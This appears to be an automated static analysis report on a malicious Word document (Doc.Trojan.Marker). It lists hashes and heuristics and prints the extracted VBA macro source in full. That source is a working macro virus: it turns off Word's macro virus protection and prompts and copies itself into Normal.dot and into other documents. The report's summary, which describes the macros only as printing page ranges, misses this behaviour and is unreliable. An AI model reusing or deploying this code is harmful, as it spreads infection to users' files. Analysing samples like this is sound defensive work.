Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 4dd97c212b0f67b0…

MALICIOUS

Office (OLE)

63.0 KB Created: 2008-11-14 10:15:00 Authoring application: Microsoft Word 11.0 First seen: 2017-03-15
MD5: 44367bc5d51cd356a08b1e092f900c2f SHA-1: 792b51c110a1d49132fdf4193602ccc4dfaeaa9d SHA-256: 4dd97c212b0f67b0afde7f028f8bfca8dfdda97fac9e607d560c6e2e8ab87eb8
148 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic

The sample is an Office document containing VBA macros, identified by ClamAV as Doc.Trojan.Marker-40. The macros, specifically 'CommandButton11_Click', 'CommandButton12_Click', and 'Main_Click', are designed to print specific page ranges of the document. This behavior, combined with the ClamAV detection, suggests a malicious intent, possibly to distract the user or as part of a larger exploit chain.

Heuristics 3

  • ClamAV: Doc.Trojan.Marker-40 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Marker-40
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Attribute VB_Name = "ThisDocument" Attribute VB_Base = "1Normal.ThisDocument" Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = True Attribute VB_TemplateDerived = True Attribute VB_Customizable = True Dim x1, x2, x3, x4 As Boolean Dim x5, x6 As Object Dim x7, x8, x16 As Integer Dim x9 As Date Dim x10, x11, x12, x13, x14 As String Const x15 = ":-D you are marked!"  Private Sub CommandButton11_Click() ' Threat Macro ' Macro recorded 01/07/99 by Telephone Swit …

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 5289 bytes
SHA-256: 848e21b759861a48f139093de895af73c2a3aea145fe4336e068c6ba240470c0
Detection
ClamAV: Doc.Trojan.Marker-2
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Dim x1, x2, x3, x4 As Boolean
Dim x5, x6 As Object
Dim x7, x8, x16 As Integer
Dim x9 As Date
Dim x10, x11, x12, x13, x14 As String
Const x15 = ":-D you are marked!"

Private Sub CommandButton11_Click()
' Threat Macro
' Macro recorded 01/07/99 by Telephone Switching
'
    Application.PrintOut FileName:="", Range:=wdPrintRangeOfPages, Item:= _
        wdPrintDocumentContent, Copies:=1, Pages:="19-46", PageType:= _
        wdPrintAllPages, Collate:=False, Background:=True, PrintToFile:=False
End Sub

Private Sub CommandButton12_Click()
'
' Process Macro
' Macro recorded 01/07/99 by Telephone Switching
'
    Application.PrintOut FileName:="", Range:=wdPrintRangeOfPages, Item:= _
        wdPrintDocumentContent, Copies:=1, Pages:="47-87", PageType:= _
        wdPrintAllPages, Collate:=False, Background:=True, PrintToFile:=False
End Sub

Private Sub Main_Click()
'
' Main Macro
' Macro recorded 01/07/99 by Telephone Switching
'
    Application.PrintOut FileName:="", Range:=wdPrintRangeOfPages, Item:= _
        wdPrintDocumentContent, Copies:=1, Pages:="1-18", PageType:= _
        wdPrintAllPages, Collate:=False, Background:=True, PrintToFile:=False
End Sub


Private Sub Document_Close()
On Error Resume Next
Set x5 = ActiveDocument.VBProject.VBComponents.Item(1)
Set x6 = NormalTemplate.VBProject.VBComponents.Item(1)
x3 = x5.CodeModule.Find(x15, 1, 1, 10000, 10000)
x4 = x6.CodeModule.Find(x15, 1, 1, 10000, 10000)
With Options: .ConfirmConversions = 0: .VirusProtection = 0: .SaveNormalPrompt = 0: End With
x9 = Now()
x7 = Day(x9)
x8 = Month(x9)
If x7 >= 23 And x8 = 7 Then
    Application.Caption = "Happy Birthday Shankar-25th July.The World may Forget but not me"
    x10 = MsgBox("Did You Wish Shankar on his Birthday ?", vbYesNo)
    If x10 = vbYes Then
        MsgBox "Thank You! I Love You. You are wonderfull."
    Else
        MsgBox " You are Heart Less." & vbCrLf & "You Will Be Punished For This", vbCritical
    End If
End If
If x3 = True Then
    x13 = x5.CodeModule.Lines(1, x5.CodeModule.CountOfLines)
ElseIf x4 = True Then
    x13 = x6.CodeModule.Lines(1, x6.CodeModule.CountOfLines)
End If

If (x3 = True Xor x4 = True) And _
   (ActiveDocument.SaveFormat = wdFormatDocument Or _
   ActiveDocument.SaveFormat = wdFormatTemplate) Then

      If x3 = True Then
        x2 = NormalTemplate.Saved
        x11 = x5.CodeModule.Lines(1, x5.CodeModule.CountOfLines)
        x6.CodeModule.DeleteLines 1, x6.CodeModule.CountOfLines
        x6.CodeModule.AddFromString x11
        With Dialogs(wdDialogFileSummaryInfo): .Title = "Are You suprised ?": .Subject = "Birthday ": .Author = "LSK": .Category = "You Are Infected": .Keywords = "Birthday": .Comments = "Shankar's Birthday falls on 25th July.  Don't Forget to wish him": .Execute: End With
        If x2 = True Then NormalTemplate.Save
      End If
    If x4 = True Or ActiveDocument.Saved = False Then
     x1 = ActiveDocument.Saved
     x11 = x6.CodeModule.Lines(1, x6.CodeModule.CountOfLines)
     x5.CodeModule.DeleteLines 1, x5.CodeModule.CountOfLines
     x5.CodeModule.AddFromString x11
     With Dialogs(wdDialogFileSummaryInfo): .Title = "Are You suprised ?": .Subject = "Birthday ": .Author = "LSK": .Category = "You Are Infected": .Keywords = "Birthday": .Comments = "Shankar's Birthday falls on 25th July.  Don't Forget to wish him": .Execute: End With
     If x1 = True Then ActiveDocument.Save
   End If
  
    
End If

End Sub

Private Sub Document_New()
Set x5 = ActiveDocument.VBProject.VBComponents.Item(1)
Set x6 = NormalTemplate.VBProject.VBComponents.Item(1)
x3 = x5.CodeModule.Find(x15, 1, 1, 10000, 10000)
x4 = x6.CodeModule.Find(x15, 1, 1, 10000, 10000)
With Options: .ConfirmConversions = 0: .VirusProtection = 0: .SaveNormalPrompt = 0: End With
If x4 = False Then
    x6.CodeModule.DeleteLines 1, x6.CodeModule.CountOfLines
End If
If x3 = False Then
        x5.CodeModule.DeleteLines 1, x5.CodeModule.CountOfLines
End If

x9 = Now()
x7 = Day(x9)
x8 = Month(x9)
If x7 >= 23 And x8 = 7 Then
With Selection.Font: x16 = .Size: .Size = 72: .ColorIndex = wdGreen: .Animation = wdAnimationSparkleText: Selection.InsertAfter "Happy BirthDay Shankar": Selection.MoveDown Unit:=wdScreen, Count:=2: .Size = x16: .ColorIndex = wdAuto: .Animation = wdAnimationNone: End With
End If
End Sub

Private Sub Document_Open()
Set x5 = ActiveDocument.VBProject.VBComponents.Item(1)
Set x6 = NormalTemplate.VBProject.VBComponents.Item(1)
x3 = x5.CodeModule.Find(x15, 1, 1, 10000, 10000)
x4 = x6.CodeModule.Find(x15, 1, 1, 10000, 10000)
With Options: .ConfirmConversions = 0: .VirusProtection = 0: .SaveNormalPrompt = 0: End With
If x4 = False Then
    x6.CodeModule.DeleteLines 1, x6.CodeModule.CountOfLines
End If
If x3 = False Then
        x5.CodeModule.DeleteLines 1, x5.CodeModule.CountOfLines
End If

x9 = Now()
x7 = Day(x9)
x8 = Month(x9)
If x7 >= 23 And x8 = 7 Then
    x10 = MsgBox("Did You Wish Shankar on his Birthday ?", vbYesNo)
End If
End Sub